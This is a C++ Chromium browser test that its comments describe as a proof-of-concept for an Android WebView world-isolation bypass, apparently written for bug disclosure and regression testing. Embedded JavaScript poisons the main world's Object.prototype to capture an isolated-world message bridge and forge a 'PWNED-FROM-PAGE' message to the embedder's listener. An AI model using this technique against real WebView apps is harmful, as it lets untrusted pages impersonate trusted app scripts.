// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Proof-of-concept: under default-on kLazyBindJsInjection,
// JsCommunication::DidClearWindowObject() enters the *main-world* v8 context
// scope and then calls JsBinding::Install() for isolated-world objects with a
// non-null isolate, so Install() never enters its own context scope.  As a
// result gin::WrappableBase::GetWrapper() instantiates the isolated-world
// bridge wrapper via templ->NewInstance(isolate->GetCurrentContext()) in the
// MAIN-world context, and the wrapper's prototype chain terminates at the
// MAIN-world Object.prototype — an object fully controlled by untrusted page
// JavaScript.
//
// This test simulates the Android WebView "Wordly Framely" API:
//   awContents.addWebMessageListener("bridge", {"*"}, listener, "appWorld")
// and shows that page (main-world) script can poison its own
// Object.prototype, capture the privileged isolated-world bridge object, and
// post a message to the embedder's WebMessageHost — a world-isolation bypass.

#include <string>
#include <variant>

#include "base/memory/raw_ptr.h"
#include "base/run_loop.h"
#include "base/strings/utf_string_conversions.h"
#include "components/js_injection/browser/js_communication_host.h"
#include "components/js_injection/browser/web_message.h"
#include "components/js_injection/browser/web_message_host.h"
#include "components/js_injection/browser/web_message_host_factory.h"
#include "content/public/browser/web_contents.h"
#include "content/public/common/isolated_world_ids.h"
#include "content/public/test/browser_test.h"
#include "content/public/test/browser_test_utils.h"
#include "content/public/test/content_browser_test.h"
#include "content/public/test/content_browser_test_utils.h"
#include "content/shell/browser/shell.h"
#include "net/test/embedded_test_server/embedded_test_server.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "url/gurl.h"

namespace js_injection {

namespace {

// Records every message that the (simulated) embedder's WebMessageListener
// receives. In production this is the Android app's Java
// WebMessageListener.onPostMessage() callback for the *isolated* world.
class RecordingHost : public WebMessageHost {
 public:
  void OnPostMessage(std::unique_ptr<WebMessage> message) override {
    if (auto* s = std::get_if<std::u16string>(&message->message)) {
      received_.push_back(base::UTF16ToUTF8(*s));
    } else {
      received_.push_back("<non-string>");
    }
    if (loop_) {
      loop_->Quit();
    }
  }

  void Wait() {
    if (!received_.empty()) {
      return;
    }
    loop_ = std::make_unique<base::RunLoop>();
    loop_->Run();
    loop_.reset();
  }

  const std::vector<std::string>& received() const { return received_; }

 private:
  std::vector<std::string> received_;
  std::unique_ptr<base::RunLoop> loop_;
};

class RecordingHostFactory : public WebMessageHostFactory {
 public:
  std::unique_ptr<WebMessageHost> CreateHost(
      const std::string& top_level_origin_string,
      const std::string& origin_string,
      bool is_main_frame,
      WebMessageReplyProxy* proxy) override {
    auto host = std::make_unique<RecordingHost>();
    last_host_ = host.get();
    return host;
  }

  RecordingHost* last_host() { return last_host_; }

 private:
  raw_ptr<RecordingHost, DanglingUntriaged> last_host_ = nullptr;
};

constexpr int32_t kAppWorldId = 1;  // > ISOLATED_WORLD_ID_GLOBAL

}  // namespace

class JsInjectionIsolatedWorldBypassTest : public content::ContentBrowserTest {
 public:
  content::WebContents* web_contents() { return shell()->web_contents(); }
};

// The actual exploit: untrusted main-world page script captures the
// isolated-world-only `bridge` object via prototype-chain poisoning and uses
// it to spoof a message to the embedder's privileged listener.
IN_PROC_BROWSER_TEST_F(JsInjectionIsolatedWorldBypassTest,
                       MainWorldCapturesIsolatedWorldBridge) {
  ASSERT_TRUE(embedded_test_server()->Start());

  // Simulate the embedding app:
  //   awContents.registerJavaScriptWorld("appWorld") -> kAppWorldId
  //   awContents.addWebMessageListener("bridge", {"*"}, listener, "appWorld")
  auto js_host = std::make_unique<JsCommunicationHost>(web_contents());
  auto factory = std::make_unique<RecordingHostFactory>();
  RecordingHostFactory* factory_ptr = factory.get();
  std::u16string err = js_host->AddWebMessageHostFactory(
      std::move(factory), u"bridge", {"*"}, kAppWorldId);
  ASSERT_TRUE(err.empty()) << base::UTF16ToUTF8(err);

  // Navigate. DidClearWindowObject() runs in the renderer, enters the
  // MAIN-world Context::Scope, and creates the isolated-world `bridge`
  // wrapper while the main-world context is current — the bug.
  GURL url = embedded_test_server()->GetURL("/title1.html");
  ASSERT_TRUE(content::NavigateToURL(shell(), url));

  // ── Sanity: `bridge` is *only* installed in the isolated world.
  EXPECT_EQ("undefined", content::EvalJs(web_contents(), "typeof bridge",
                                         content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
                                         content::ISOLATED_WORLD_ID_GLOBAL));
  EXPECT_EQ("object", content::EvalJs(web_contents(), "typeof bridge",
                                      content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
                                      kAppWorldId));

  // ── Step 1 (untrusted PAGE, main world):
  // Poison main-world Object.prototype. This is all the attacker controls.
  ASSERT_TRUE(content::ExecJs(
      web_contents(),
      "Object.defineProperty(Object.prototype, Symbol.toPrimitive, {"
      "  configurable: true,"
      "  value(hint) { window.__leak = this; return ''; }"
      "});",
      content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
      content::ISOLATED_WORLD_ID_GLOBAL));

  // ── Step 2 (trusted APP script, isolated world kAppWorldId):
  // The app's isolated-world script merely string-coerces its own bridge —
  // e.g. `console.log('init '+bridge)`. Because the wrapper's prototype chain
  // terminates at MAIN-world Object.prototype, this hits the page's poisoned
  // Symbol.toPrimitive, which runs with `this === bridge` and stores it on
  // MAIN-world `window.__leak`.
  ASSERT_TRUE(content::ExecJs(web_contents(), "'' + bridge;",
                              content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
                              kAppWorldId));

  // ── Step 3: Evidence of capture in the main world.
  std::string leak_type =
      content::EvalJs(web_contents(),
                      "typeof window.__leak + '/' + "
                      "typeof (window.__leak && window.__leak.postMessage)",
                      content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
                      content::ISOLATED_WORLD_ID_GLOBAL)
          .ExtractString();
  // *** WORLD-ISOLATION BYPASS ***
  // Main-world page JS now holds the isolated-world-only bridge.
  EXPECT_EQ("object/function", leak_type)
      << "Main world failed to capture isolated-world bridge — bug not "
         "triggered. leak_type="
      << leak_type;

  // ── Step 4 (untrusted PAGE, main world): spoof a privileged message.
  ASSERT_TRUE(content::ExecJs(
      web_contents(), "window.__leak.postMessage('PWNED-FROM-PAGE');",
      content::EXECUTE_SCRIPT_DEFAULT_OPTIONS,
      content::ISOLATED_WORLD_ID_GLOBAL));

  // ── Step 5: The embedder's privileged isolated-world listener receives the
  // page-forged message. This is what would arrive at the Android app's Java
  // WebMessageListener.onPostMessage().
  ASSERT_TRUE(factory_ptr->last_host());
  factory_ptr->last_host()->Wait();
  ASSERT_FALSE(factory_ptr->last_host()->received().empty());
  EXPECT_EQ("PWNED-FROM-PAGE", factory_ptr->last_host()->received().front());
}

// Direct check that the wrapper's prototype chain crosses worlds.
IN_PROC_BROWSER_TEST_F(JsInjectionIsolatedWorldBypassTest,
                       BridgePrototypeChainEndsInMainWorld) {
  ASSERT_TRUE(embedded_test_server()->Start());
  auto js_host = std::make_unique<JsCommunicationHost>(web_contents());
  std::u16string err = js_host->AddWebMessageHostFactory(
      std::make_unique<RecordingHostFactory>(), u"bridge", {"*"}, kAppWorldId);
  ASSERT_TRUE(err.empty()) << base::UTF16ToUTF8(err);

  ASSERT_TRUE(content::NavigateToURL(
      shell(), embedded_test_server()->GetURL("/title1.html")));

  // From the isolated world, walk the bridge's prototype chain to the end.
  // It should terminate at the *isolated* world's Object.prototype, but under
  // the bug it terminates at a *foreign* (main-world) Object.prototype.
  bool ends_at_isolated_proto =
      content::EvalJs(web_contents(),
                      "(function(){"
                      "  let p = bridge;"
                      "  while (Object.getPrototypeOf(p)) {"
                      "    p = Object.getPrototypeOf(p);"
                      "  }"
                      "  return p === Object.prototype;"
                      "})()",
                      content::EXECUTE_SCRIPT_DEFAULT_OPTIONS, kAppWorldId)
          .ExtractBool();
  EXPECT_FALSE(ends_at_isolated_proto)
      << "bridge prototype chain ends at isolated-world Object.prototype "
         "(bug not present)";
}

}  // namespace js_injection
